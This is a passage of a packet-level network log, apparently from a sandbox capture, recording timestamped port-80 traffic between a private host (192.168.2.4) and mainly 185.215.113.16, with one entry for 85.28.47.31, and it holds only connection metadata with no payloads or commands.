Jul 27, 2024 05:39:09.014576912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014586926 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014606953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014619112 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014637947 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014655113 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014672995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014676094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014703989 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014724970 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014734983 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014755011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014765024 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014781952 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014796019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014805079 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014827967 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014836073 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014858961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014872074 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014889956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014904976 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014919043 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014930964 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014950037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014967918 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014981031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014991999 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.015012026 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.015021086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.015045881 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.015052080 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.015085936 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.016326904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.019452095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.019525051 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.019572973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.019587994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.019603968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.019634008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.019644022 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.019666910 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.019680977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.019699097 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.019716024 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.019733906 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.019750118 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.019777060 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.052712917 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.052778959 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.052782059 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.052817106 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.052846909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.052874088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.052879095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.052895069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.052927971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.052963018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.052990913 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.052994967 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053025961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053041935 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053057909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053075075 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053088903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053107977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053119898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053124905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053152084 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053185940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053195000 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053227901 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053468943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053519011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053522110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053550959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053563118 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053596973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053627968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053643942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053668022 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053675890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053708076 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053740025 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053750992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053770065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053786039 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053801060 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053818941 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053832054 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053848982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053863049 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053873062 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053894043 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053905010 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053927898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.053935051 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.053976059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.100893021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.100939035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.100972891 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.101005077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.101011038 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.101037979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.101061106 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.101068974 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.101082087 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.101102114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.101114988 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.101135969 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.101145029 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.103481054 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.103596926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.103698015 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.103743076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.103744984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.103776932 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.103807926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.103820086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.103847980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.103862047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.103908062 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.103950977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.103954077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.103985071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104027987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104032993 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104063988 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104091883 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104110003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104110003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104151011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104156017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104187965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104197979 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104218960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104249954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104259968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104280949 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104291916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104314089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104326010 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104360104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104407072 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104408026 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104439020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104474068 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104492903 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104509115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104546070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104549885 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104577065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104587078 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104609013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104640007 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104665041 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104672909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104686975 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104705095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104722977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104751110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104758978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104798079 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104831934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104844093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104849100 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104849100 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104875088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104906082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104918003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.104954004 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.104969978 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105004072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105034113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105066061 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105094910 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105096102 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105108023 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105128050 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105139017 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105158091 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105170965 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105189085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105220079 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105231047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105251074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105261087 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105282068 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105297089 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105319023 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105329037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105375051 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105376005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105407953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105436087 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105441093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105462074 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105473995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105503082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105505943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105523109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105537891 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105552912 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105568886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105592966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105600119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105611086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105632067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105642080 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105664015 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105671883 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105695963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105729103 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105737925 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105760098 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105768919 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105791092 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105804920 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105820894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105839014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105853081 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105864048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105884075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105895042 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105916023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105925083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105947018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105959892 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.105981112 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.105988026 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.106012106 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.106050014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.106060028 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.106096983 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.110546112 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.110615969 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.110662937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.110673904 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.110697985 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.110713005 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.110728979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.110744953 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.110763073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.110770941 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.110795021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.110805035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.110837936 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143065929 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143121004 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143167973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143182039 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143213034 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143217087 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143249035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143265963 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143280029 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143291950 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143311977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143327951 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143358946 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143359900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143390894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143409014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143421888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143436909 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143451929 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143469095 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143484116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143491030 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143515110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143526077 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143549919 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143556118 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.143577099 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.143627882 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144002914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144051075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144052982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144083023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144098997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144115925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144130945 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144165039 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144392014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144440889 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144562960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144593954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144613981 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144625902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144634008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144658089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144675970 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144690990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144707918 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144721985 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144738913 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144753933 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144762993 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144784927 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144794941 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144819021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.144826889 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.144866943 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.191858053 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.192128897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.192162037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.192181110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.192183971 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.192231894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.192260981 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.192265034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.192281008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.192296028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.192306995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.192329884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.192342043 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.192373991 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194291115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194344997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194405079 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194437027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194452047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194468975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194478035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194499016 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194508076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194531918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194562912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194575071 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194617033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194678068 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194724083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194839001 CEST	80	49476	185.215.113.16	192.168.2.4
